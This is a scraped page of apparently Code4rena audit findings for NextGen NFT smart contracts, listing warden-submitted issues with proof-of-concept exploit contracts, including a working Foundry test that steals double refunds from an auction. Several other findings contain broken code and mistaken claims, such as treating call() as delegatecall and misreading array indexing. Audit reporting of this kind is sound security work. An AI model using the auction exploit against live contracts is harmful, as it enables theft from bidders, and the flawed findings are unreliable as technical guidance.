GithubHelp home page GithubHelp logo

2023-10-nextgen-findings's People

Contributors

c4-bot-1 avatar c4-bot-10 avatar c4-bot-2 avatar c4-bot-3 avatar c4-bot-4 avatar c4-bot-5 avatar c4-bot-6 avatar c4-bot-7 avatar c4-bot-8 avatar c4-bot-9 avatar c4-submissions avatar captainmangoc4 avatar code423n4 avatar kartoonjoy avatar thebrittfactor avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

2023-10-nextgen-findings's Issues

Agreements & Disclosures

Agreements

If you are a C4 Certified Contributor by commenting or interacting with this repo prior to public release of the contest report, you agree that you have read the Certified Warden docs and agree to be bound by:

To signal your agreement to these terms, add a 👍 emoji to this issue.

Code4rena staff reserves the right to disqualify anyone from this role and similar future opportunities who is unable to participate within the above guidelines.

Disclosures

Sponsors may elect to add team members and contractors to assist in sponsor review and triage. All sponsor representatives added to the repo should comment on this issue to identify themselves.

To ensure contest integrity, the following potential conflicts of interest should also be disclosed with a comment in this issue:

  1. any sponsor staff or sponsor contractors who are also participating as wardens
  2. any wardens hired to assist with sponsor review (and thus presenting sponsor viewpoint on findings)
  3. any wardens who have a relationship with a judge that would typically fall in the category of potential conflict of interest (family, employer, business partner, etc)
  4. any other case where someone might reasonably infer a possible conflict of interest.

Low-level CALL bool not checked - RandomizerRNG.sol

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerRNG.sol#L82

Vulnerability details

Impact

Low-level CALL bool not checked. Therefore "emergencyWithdraw()" transaction can succeed whilst the withdraw to admin fails

Proof of Concept

    function emergencyWithdraw() public FunctionAdminRequired(this.emergencyWithdraw.selector) {
        uint balance = address(this).balance;
        address admin = adminsContract.owner();
        (bool success, ) = payable(admin).call{value: balance}("");
        emit Withdraw(msg.sender, success, balance);
    }

Recommended Mitigation Steps

Include a check, such like the following:

if (!success) {
revert();
}

Assessed type

call/delegatecall

The check for the updateAdminContract function is ineffective.

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerRNG.sol#L61-L64
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/NextGenAdmins.sol#L83-L85
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerVRF.sol#L94-L97

Vulnerability details

Impact

The purpose of the require statement within the updateAdminContract function is to check if the contract is an admin contract. However, the isAdminContract function always returns true and does not change, which causes the check in the updateAdminContract function to be ineffective.

Proof of Concept

https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerRNG.sol#L61-L64
function updateAdminContract(address _newadminsContract) public FunctionAdminRequired(this.updateAdminContract.selector) {
@ require(INextGenAdmins(_newadminsContract).isAdminContract() == true, "Contract is not Admin");
adminsContract = INextGenAdmins(_newadminsContract);
}

https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/NextGenAdmins.sol#L83-L85
function isAdminContract() external view returns (bool) {
@ return true;
}

Tools Used

vs

Recommended Mitigation Steps

Make corrections to the corresponding problems

Assessed type

Invalid Validation

[M-04] Controlled low level call in the MinterContract

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/MinterContract.sol#L438
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/MinterContract.sol#L415-L444
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/MinterContract.sol#L464
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/MinterContract.sol#L461-L466

Vulnerability details

Impact

The contract is using call() which is accepting address controlled by a user.
This can have devastating effects on the contract as a call allows the contract to execute code belonging to other contracts but using it’s own storage.
This can very easily lead to a loss of funds and compromise of the contract.

Proof of Concept

Vulnerable payArtist function

// Ln 415-444
    function payArtist(uint256 _collectionID, address _team1, address _team2, uint256 _teamperc1, uint256 _teamperc2) public FunctionAdminRequired(this.payArtist.selector) {
        require(collectionArtistPrimaryAddresses[_collectionID].status == true, "Accept Royalties");
        require(collectionTotalAmount[_collectionID] > 0, "Collection Balance must be grater than 0");
        require(collectionRoyaltiesPrimarySplits[_collectionID].artistPercentage + _teamperc1 + _teamperc2 == 100, "Change percentages");
        uint256 royalties = collectionTotalAmount[_collectionID];
        collectionTotalAmount[_collectionID] = 0;
        address tm1 = _team1;
        address tm2 = _team2;
        uint256 colId = _collectionID;
        uint256 artistRoyalties1;
        uint256 artistRoyalties2;
        uint256 artistRoyalties3;
        uint256 teamRoyalties1;
        uint256 teamRoyalties2;
        artistRoyalties1 = royalties * collectionArtistPrimaryAddresses[colId].add1Percentage / 100;
        artistRoyalties2 = royalties * collectionArtistPrimaryAddresses[colId].add2Percentage / 100;
        artistRoyalties3 = royalties * collectionArtistPrimaryAddresses[colId].add3Percentage / 100;
        teamRoyalties1 = royalties * _teamperc1 / 100;
        teamRoyalties2 = royalties * _teamperc2 / 100;
        (bool success1, ) = payable(collectionArtistPrimaryAddresses[colId].primaryAdd1).call{value: artistRoyalties1}("");
        (bool success2, ) = payable(collectionArtistPrimaryAddresses[colId].primaryAdd2).call{value: artistRoyalties2}("");
        (bool success3, ) = payable(collectionArtistPrimaryAddresses[colId].primaryAdd3).call{value: artistRoyalties3}("");
        (bool success4, ) = payable(tm1).call{value: teamRoyalties1}("");
        (bool success5, ) = payable(tm2).call{value: teamRoyalties2}("");
        emit PayArtist(collectionArtistPrimaryAddresses[colId].primaryAdd1, success1, artistRoyalties1);
        emit PayArtist(collectionArtistPrimaryAddresses[colId].primaryAdd2, success2, artistRoyalties2);
        emit PayArtist(collectionArtistPrimaryAddresses[colId].primaryAdd3, success3, artistRoyalties3);
        emit PayTeam(tm1, success4, teamRoyalties1);
        emit PayTeam(tm2, success5, teamRoyalties2);
    }

Exploit payArtist function with low level call

// SPDX-License-Identifier: MIT

pragma solidity >=0.8.19;

import "./MinterContract.sol";

contract tMinterContract {

   MinterContract public x1;

   address me = address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4);

   constructor(MinterContract _x1) {

      x1 = MinterContract(_x1);

   }
   
   function testlowCalE() public payable {

      x1.payArtist{value: 2 ether}(uint256(4), address(_x1), address(me), uint256(10), uint256(20));

   }

   receive() external payable {}

   }

Vulnerable emergencyWithdraw function

// Ln 461-466
    function emergencyWithdraw() public FunctionAdminRequired(this.emergencyWithdraw.selector) {
        uint balance = address(this).balance;
        address admin = adminsContract.owner();
        (bool success, ) = payable(admin).call{value: balance}("");
        emit Withdraw(msg.sender, success, balance);
    }

Exploit emergencyWithdraw function with low level call

// SPDX-License-Identifier: MIT

pragma solidity >=0.8.19;

import "./MinterContract.sol";

contract tMinterContract {

   MinterContract public x1;

   constructor(MinterContract _x1) {

      x1 = MinterContract(_x1);

   }
   
   function testlowCalF() public payable {

      x1.emergencyWithdraw{value: 2 ether}();

   }

   receive() external payable {}

   }

Tools Used

VS Code.

Recommended Mitigation Steps

Do not allow user-controlled data inside the call() function.

// Ln 438
        (bool success5, ) = payable(tm2).call{value: teamRoyalties2}("");
// Ln 464
        (bool success, ) = payable(admin).call{value: balance}("");

Assessed type

call/delegatecall

Address Proposal Hijacking in Minter Contract.

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L380-L390
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L394-L404

Vulnerability details

Impact

The proposePrimaryAddressesAndPercentages() and proposeSecondaryAddressesAndPercentages() functions allow anyone to propose recipient addresses and payment percentages. This could allow an attacker to hijack the proposal process and divert royalty payments.

Proof of Concept

The main issue is that the Minter contract's proposePrimaryAddressesAndPercentages() and proposeSecondaryAddressesAndPercentages() functions allow anyone to propose recipient addresses and payment percentages for royalty distributions.

The root cause is that the functions do not have access control - they are public functions that can be called by any external account.

Without access control, an attacker could hijack the proposal process by calling these functions and setting malicious addresses to receive royalty payments. This would divert funds away from the intended recipients (i.e. the artist and specified teams).

Specifically:

  • The proposePrimaryAddressesAndPercentages() and proposeSecondaryAddressesAndPercentages() functions allow setting primary and secondary royalty payment addresses and percentages.

  • These functions do not use any modifier to restrict access. Any account can call them.

  • An attacker could call these functions and override the legitimate payment addresses with their own addresses.

For example:

The functions have no access control and can be called by any account:

function proposePrimaryAddressesAndPercentages(
  uint256 _collectionID, 
  address _primaryAdd1,
  // ...
) public {

  // Set payment addresses
  
}

function proposeSecondaryAddressesAndPercentages(
  uint256 _collectionID,
  address _secondaryAdd1, 
  // ...  
) public {

  // Set payment addresses

}

An attacker could hijack and set malicious addresses to receive payments:

address attacker = 0xE230927711C6Ddsedf0Cab8ef4036121BeF453cr; 

proposePrimaryAddressesAndPercentages(
  1, 
  attacker, // replace artist address
  0x0,
  0x0,
  100, // 100% of share
  0,
  0
)

proposeSecondaryAddressesAndPercentages(
  1,
  attacker,
  0x0,
  0x0,
  100, // 100% of share
  0,
  0  
)

Now the attacker will receive all royalties, diverting payments from the artist.

Tools Used

Manual review

Recommended Mitigation Steps

  1. Use an onlyArtist modifier to restrict access:
modifier onlyArtist(uint256 _collectionId) {
  require(msg.sender == collectionArtist[collectionId], "Not artist");
  _;
}
  1. Emit events on proposal to notify intended recipients.

Assessed type

Access Control

Improper time checks could allow attacker to take money from other auction users

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L116
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L135
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L105

Vulnerability details

Impact

There are improper time checks in AuctionDemo.sol. participateToAuction(), cancelBid(), cancelAllBids() in AuctionDemo.sol, use block.timestamp <= minter.getAuctionEndTime(_tokenid) to check auction end. But claimAuction() use block.timestamp >= minter.getAuctionEndTime(_tokenid).

So when in condition block.timestamp == minter.getAuctionEndTime(_tokenid), The auction is closed at the same time as it is progressing, so all function is callable.

In claimAuction(), refund routine make bidder could call again cancelBid() or cancelAllBids() in fallback(). because there are no routine auctionInfoData[_tokenid][index].status = false;

So, attacker could request twice for refund.

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

Here is flow for attack.

  1. attacker bid early
  2. victim bid
  3. attacker call high bid and got winner
  4. attacker call claimAuction() in endtime
  5. attacker's fallback() will be called
  6. attacker call cancelAllBids()
  7. attacker could get twice bid for early

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import {Test, console2} from "forge-std/Test.sol";


import "../src/NextGenAdmins.sol";
import "../src/NextGenCore.sol";
import "../src/MinterContract.sol";
import "../src/AuctionDemo.sol";
import "../src/IERC721.sol";
import "../src/XRandoms.sol";
import "../src/RandomizerNXT.sol";

contract auctionDemoTest is Test {
    auctionDemo public TARGET;
    uint endtime;

    function setUp() public {
        address system = vm.addr(0x31337);
        vm.deal(system, 1000 ether);

        vm.startPrank(system);
        address admin = address(new NextGenAdmins());
        address gencore = address(new NextGenCore("", "", admin));
        address minter = address(new NextGenMinterContract(gencore, address(0), admin));
        address random = address(new randomPool());
        address randomizer = address(new NextGenRandomizerNXT(random, admin, gencore));
        TARGET = new auctionDemo(minter, gencore, admin);

        string[] memory t = new string[](2);
        t[0] = "";
        t[1] = "";
        NextGenCore(gencore).createCollection("", "", "", "", "", "", "", t);
        NextGenCore(gencore).setCollectionData(1, address(0), 0, 10, 0);
        NextGenCore(gencore).addMinterContract(address(minter));  
        NextGenCore(gencore).addRandomizer(1, randomizer);
        NextGenMinterContract(minter).setCollectionCosts(1, 1, 1, 1, 1, 1, address(this));
        NextGenMinterContract(minter).setCollectionPhases(1, 1, 1, 1, 1, bytes32(""));
        NextGenMinterContract(minter).mintAndAuction(address(this), "", 1, 1, (block.timestamp+1 days));

        vm.stopPrank();

        NextGenCore(gencore).approve(address(TARGET), 10000000000);
        endtime = NextGenMinterContract(minter).getAuctionEndTime(10000000000);
    }

    function testExploit() public {

        
        uint before_balance = address(this).balance;
        
        TARGET.participateToAuction{value: 5 ether}(10000000000);
        
        // victim who bid after attacker will be target...

        // victim bid
        address victim1 = vm.addr(0x1337);
        vm.deal(victim1, 15 ether);

        address victim2 = vm.addr(0x1338);
        vm.deal(victim2, 15 ether);

        address victim3 = vm.addr(0x1339);
        vm.deal(victim3, 15 ether);

        vm.startPrank(victim1);
        TARGET.participateToAuction{value: 6 ether}(10000000000);
        vm.stopPrank();

        vm.startPrank(victim2);
        TARGET.participateToAuction{value: 8 ether}(10000000000);
        vm.stopPrank();

        vm.startPrank(victim3);
        TARGET.participateToAuction{value: 10 ether}(10000000000);
        vm.stopPrank();

        // attacker will be highest bidder
        TARGET.participateToAuction{value: 11 ether}(10000000000);

        // wait until auction end
        vm.warp(endtime);

        // call claim in endtime...
        TARGET.claimAuction(10000000000);

        // calc profit?
        uint after_balance = address(this).balance;       
        uint balance_diff = after_balance - before_balance;
        console2.log("attacker earning: ", balance_diff);

        console2.log("done");
    }

    fallback() payable external {
        // attacker will not pay...
        TARGET.cancelAllBids(10000000000);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

}

And here is result of test. And this is the case when attacker get the least amount of money. If attacker call many participateToAuction() and cancelBid() for each, the profit can be maximized.

$ forge test -vvv
[⠆] Compiling...
No files changed, compilation skipped

Running 1 test for test/AuctionDemoTest.t.sol:auctionDemoTest
[PASS] testExploit() (gas: 553598)
Logs:
  attacker earning:  5000000000000000000
  done

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.25ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual

Recommended Mitigation Steps

I recommand that the conditions change clearly, In this case, use '>' using >=.

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);

Here is result of patch.

$ forge test -vv
[⠆] Compiling...
No files changed, compilation skipped

Running 1 test for test/AuctionDemoTest.t.sol:auctionDemoTest
[FAIL. Reason: EvmError: Revert] testExploit() (gas: 453870)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.07ms
Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/AuctionDemoTest.t.sol:auctionDemoTest
[FAIL. Reason: EvmError: Revert] testExploit() (gas: 453870)

Encountered a total of 1 failing tests, 0 tests succeeded

Assessed type

Timing

The reentrancy vulnerability in _safeMint maybe allow an attacker could mint repeatedly

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/NextGenCore.sol#L231

Vulnerability details

Impact

_safeMint could make reentrancy vulnerability. So malicious user could it as reentrancy attack.

Proof of Concept

airDropTokens(), mint(), burnToMint() in NextGenCore.sol are using _mintProcessing().

    function airDropTokens(uint256 mintIndex, address _recipient, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID) external {
        require(msg.sender == minterContract, "Caller is not the Minter Contract");
        collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
        if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
            _mintProcessing(mintIndex, _recipient, _tokenData, _collectionID, _saltfun_o);
            tokensAirdropPerAddress[_collectionID][_recipient] = tokensAirdropPerAddress[_collectionID][_recipient] + 1;
        }
    }
...

    function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external {
        require(msg.sender == minterContract, "Caller is not the Minter Contract");
        collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
        if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
            if (phase == 1) {
                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
            } else {
                tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
            }
        }
    }
...
    function burnToMint(uint256 mintIndex, uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o, address burner) external {
        require(msg.sender == minterContract, "Caller is not the Minter Contract");
        require(_isApprovedOrOwner(burner, _tokenId), "ERC721: caller is not token owner or approved");
        collectionAdditionalData[_mintCollectionID].collectionCirculationSupply = collectionAdditionalData[_mintCollectionID].collectionCirculationSupply + 1;
        if (collectionAdditionalData[_mintCollectionID].collectionTotalSupply >= collectionAdditionalData[_mintCollectionID].collectionCirculationSupply) {
            _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o);
            // burn token
            _burn(_tokenId);
            burnAmount[_burnCollectionID] = burnAmount[_burnCollectionID] + 1;
        }
    }

_mintProcessing() in NextGenCore.sol use _safeMint of ERC721. And _safeMint of ERC721 call onERC721Received() of target address to check that receiver got token using by _checkOnERC721Received().

    function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal {
        tokenData[_mintIndex] = _tokenData;
        collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o);
        tokenIdsToCollectionIds[_mintIndex] = _collectionID;
        _safeMint(_recipient, _mintIndex);
    }

There are no modifer to check reentrancy in airDropTokens(), mint(), burnToMint() in NextGenCore.sol, and minterContract which is real caller in real caller of airDropTokens(), mint(), burnToMint(), have no reentrancy check modifier.

...
function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable {
...
function burnOrSwapExternalToMint(address _erc721Collection, uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, string memory _tokenData, bytes32[] calldata merkleProof, uint256 _saltfun_o) public payable {
...
function mintAndAuction(address _recipient, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint _auctionEndTime) public FunctionAdminRequired(this.mintAndAuction.selector) {
...
function burnToMint(uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o) public payable {
...

Tools Used

Manual

Recommended Mitigation Steps

Use modifer such as ReentrancyGuard to check reenter in flow.

Assessed type

ERC721

QA Report

See the markdown file with the details of this report here.

[M-07] Incorrect equality in the XRandoms contract

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/XRandoms.sol#L28
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/XRandoms.sol#L15-L33

Vulnerability details

Impact

Use of strict equalities that can be easily manipulated by an attacker.
Dangerous strict equality is where the use of strict equality (==) for comparison may lead to unexpected or potentially unsafe behaviour due to issues like type conversions, precision, or external input.

Proof of Concept

Here is a Proof of Concept (POC) for the incorrect equality in the getWord function:

pragma solidity ^0.8.19;

contract TestRandomPool {
    randomPool rp = new randomPool();

    function testGetWord() public {
        // This will return the first word in the list, "Acai"
        string memory word1 = rp.getWord(0);
        assert(keccak256(abi.encodePacked(word1)) == keccak256(abi.encodePacked("Acai")));

        // This will return the second word in the list, "Ackee"
        string memory word2 = rp.getWord(1);
        assert(keccak256(abi.encodePacked(word2)) == keccak256(abi.encodePacked("Ackee")));

        // This will return the first word in the list, "Acai", due to incorrect equality
        string memory word3 = rp.getWord(2);
        assert(keccak256(abi.encodePacked(word3)) == keccak256(abi.encodePacked("Acai")));
    }
}

In the getWord function, the id is decremented by 1 when it is not equal to 0.
This means that when id is 2, it will return the word at index 1, which is "Acai" instead of "Apple".
This is due to the incorrect equality id == 0.
Location

randomPool.getWord(uint256) (smart-contracts/XRandoms.sol#15-33) uses a dangerous strict equality:
- id == 0 (smart-contracts/XRandoms.sol#28)

Vulnerable line of code

// Ln 28
        if (id==0) {

Vulnerable getWords function

Ln 15-33
    function getWord(uint256 id) private pure returns (string memory) {
        
        // array storing the words list
        string[100] memory wordsList = ["Acai", "Ackee", "Apple", "Apricot", "Avocado", "Babaco", "Banana", "Bilberry", "Blackberry", "Blackcurrant", "Blood Orange", 
        "Blueberry", "Boysenberry", "Breadfruit", "Brush Cherry", "Canary Melon", "Cantaloupe", "Carambola", "Casaba Melon", "Cherimoya", "Cherry", "Clementine", 
        "Cloudberry", "Coconut", "Cranberry", "Crenshaw Melon", "Cucumber", "Currant", "Curry Berry", "Custard Apple", "Damson Plum", "Date", "Dragonfruit", "Durian", 
        "Eggplant", "Elderberry", "Feijoa", "Finger Lime", "Fig", "Gooseberry", "Grapes", "Grapefruit", "Guava", "Honeydew Melon", "Huckleberry", "Italian Prune Plum", 
        "Jackfruit", "Java Plum", "Jujube", "Kaffir Lime", "Kiwi", "Kumquat", "Lemon", "Lime", "Loganberry", "Longan", "Loquat", "Lychee", "Mammee", "Mandarin", "Mango", 
        "Mangosteen", "Mulberry", "Nance", "Nectarine", "Noni", "Olive", "Orange", "Papaya", "Passion fruit", "Pawpaw", "Peach", "Pear", "Persimmon", "Pineapple", 
        "Plantain", "Plum", "Pomegranate", "Pomelo", "Prickly Pear", "Pulasan", "Quine", "Rambutan", "Raspberries", "Rhubarb", "Rose Apple", "Sapodilla", "Satsuma", 
        "Soursop", "Star Apple", "Star Fruit", "Strawberry", "Sugar Apple", "Tamarillo", "Tamarind", "Tangelo", "Tangerine", "Ugli", "Velvet Apple", "Watermelon"];


        // returns a word based on index
        if (id==0) {
            return wordsList[id];
        } else {
            return wordsList[id - 1];
        }
        }

Tools Used

VS Code.

Recommended Mitigation Steps

Don't use strict equality to determine if an account has enough Ether or tokens.

Assessed type

Invalid Validation

[M-11] Reentrancy in the NextGenCore contract

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/NextGenCore.sol#L170-L174
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/NextGenCore.sol#L307-L311
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/NextGenCore.sol#L315-L318
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/NextGenCore.sol#L322-L325

Vulnerability details

Impact

The reentrancy vulnerability uses the attack contract to call into the victim contract several times before the victim contract's balance updates.
Hence allowing the attacker to withdraw e.g. 2 ether when they only deposited 1 ether.
Which means double entry counting duplicate withdrawals for only one genuine withdrawal.

Proof of Concept

Vulnerable addRandomizer function to reentrancy

// Ln 170-174
    function addRandomizer(uint256 _collectionID, address _randomizerContract) public FunctionAdminRequired(this.addRandomizer.selector) {
        require(IRandomizer(_randomizerContract).isRandomizerContract() == true, "Contract is not Randomizer");
        collectionAdditionalData[_collectionID].randomizerContract = _randomizerContract;
        collectionAdditionalData[_collectionID].randomizer = IRandomizer(_randomizerContract);
    }

Vulnerable setFinalSupply function to reentrancy

// Ln 307-311
    function setFinalSupply(uint256 _collectionID) public FunctionAdminRequired(this.setFinalSupply.selector) {
        require (block.timestamp > IMinterContract(minterContract).getEndTime(_collectionID) + collectionAdditionalData[_collectionID].setFinalSupplyTimeAfterMint, "Time has not passed");
        collectionAdditionalData[_collectionID].collectionTotalSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply;
        collectionAdditionalData[_collectionID].reservedMaxTokensIndex = (_collectionID * 10000000000) + collectionAdditionalData[_collectionID].collectionTotalSupply - 1;
    }

Vulnerable addMinterContract function to reentrancy

// Ln 315-318
    function addMinterContract(address _minterContract) public FunctionAdminRequired(this.addMinterContract.selector) { 
        require(IMinterContract(_minterContract).isMinterContract() == true, "Contract is not Minter");
        minterContract = _minterContract;
    }

Vulnerable updateAdminContract function to reentrancy

// Ln 322-325
    function updateAdminContract(address _newadminsContract) public FunctionAdminRequired(this.updateAdminContract.selector) {
        require(INextGenAdmins(_newadminsContract).isAdminContract() == true, "Contract is not Admin");
        adminsContract = INextGenAdmins(_newadminsContract);
    }

Exploit Reentrancy

// SPDX-License-Identifier: MIT

pragma solidity >=0.8.19;

import "./NextGenCore.sol";

contract tNextGenCore {

   NextGenCore public x1;

   constructor(NextGenCore _x1) {

      x1 = NextGenCore(_x1);

   }

   function testReenterC() public payable {

      x1.addRandomizer(uint256(2),address(_x1));
      x1.setFinalSupply(uint256(2));
      x1.addMinterContract(address(_x1));
      x1.updateAdminContract(address(_x1));

   }

   receive() external payable {

      msg.sender.transfer(payable(address(_x1)).balance);

   }

   }

Tools Used

VS Code.

Recommended Mitigation Steps

All functions that are not internal and are making a call should have a reentrancy guard added to them.
Checks-Effects-Interactions should be applied to the functions.
Balance updates should be made at the beginning of the call.
The actual call should be made at the end of the function.
So that the balance is already updated first and reentrancy is not possible.

Assessed type

Reentrancy

Low-level CALL bool not checked - MinterContract.sol

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L464

Vulnerability details

Impact

Low-level call bool is not checked, so "emergencyWithdraw()" public function can complete successfully without the balance actually successfully transferred to admin.

Proof of Concept

Only event emitted after, no check to REVERT if bool success = false

    function emergencyWithdraw() public FunctionAdminRequired(this.emergencyWithdraw.selector) {
        uint balance = address(this).balance;
        address admin = adminsContract.owner();
        (bool success, ) = payable(admin).call{value: balance}("");
        emit Withdraw(msg.sender, success, balance);
    }

Recommended Mitigation Steps

Add an additional check, e.g.

if (!success) {
    revert();
}





## Assessed type

call/delegatecall

[M-06] Dubious type casting in RandomizerRNG contract

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerRNG.sol#L49
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerRNG.sol#L48-L50

Vulnerability details

Impact

Dubious type casting from bytes to bytes32 in Solidity refers to a potentially unsafe conversion between these two data types.

In Solidity, bytes is a dynamically-sized byte array, while bytes32 is a fixed-size byte array of 32 bytes.
When you cast bytes to bytes32, you're essentially trying to fit a potentially larger amount of data into a smaller container.

If the bytes array is larger than 32 bytes, the conversion will result in data loss as only the first 32 bytes will be kept and the rest will be discarded.
This can lead to unexpected behavior and potential security vulnerabilities in your smart contract.

Proof of Concept

Vulnerable line of code

// Ln 49
        gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[id]], requestToToken[id], bytes32(abi.encodePacked(numbers,requestToToken[id])));

Vulnerable function fulfillRandomWords to type casting

// Ln 48-50
    function fulfillRandomWords(uint256 id, uint256[] memory numbers) internal override {
        gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[id]], requestToToken[id], bytes32(abi.encodePacked(numbers,requestToToken[id])));
    }

The dubious type casting issue is related to the fulfillRandomWords function where bytes is being cast to bytes32.
This can potentially lead to data loss if the size of the bytes exceeds 32 bytes.
Here is a proof of concept (POC) that demonstrates this issue:

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.19;

contract POC {
    function dubiousTypeCast() public pure returns (bytes32) {
        uint256[] memory numbers = new uint256[](5);
        for (uint i = 0; i < 5; i++) {
            numbers[i] = i;
        }
        uint256 id = 123456789;
        bytes memory packed = abi.encodePacked(numbers, id);
        bytes32 result = bytes32(packed);
        return result;
    }
}

In this POC, we create an array of 5 uint256 numbers and an id. We then pack these into a bytes variable.
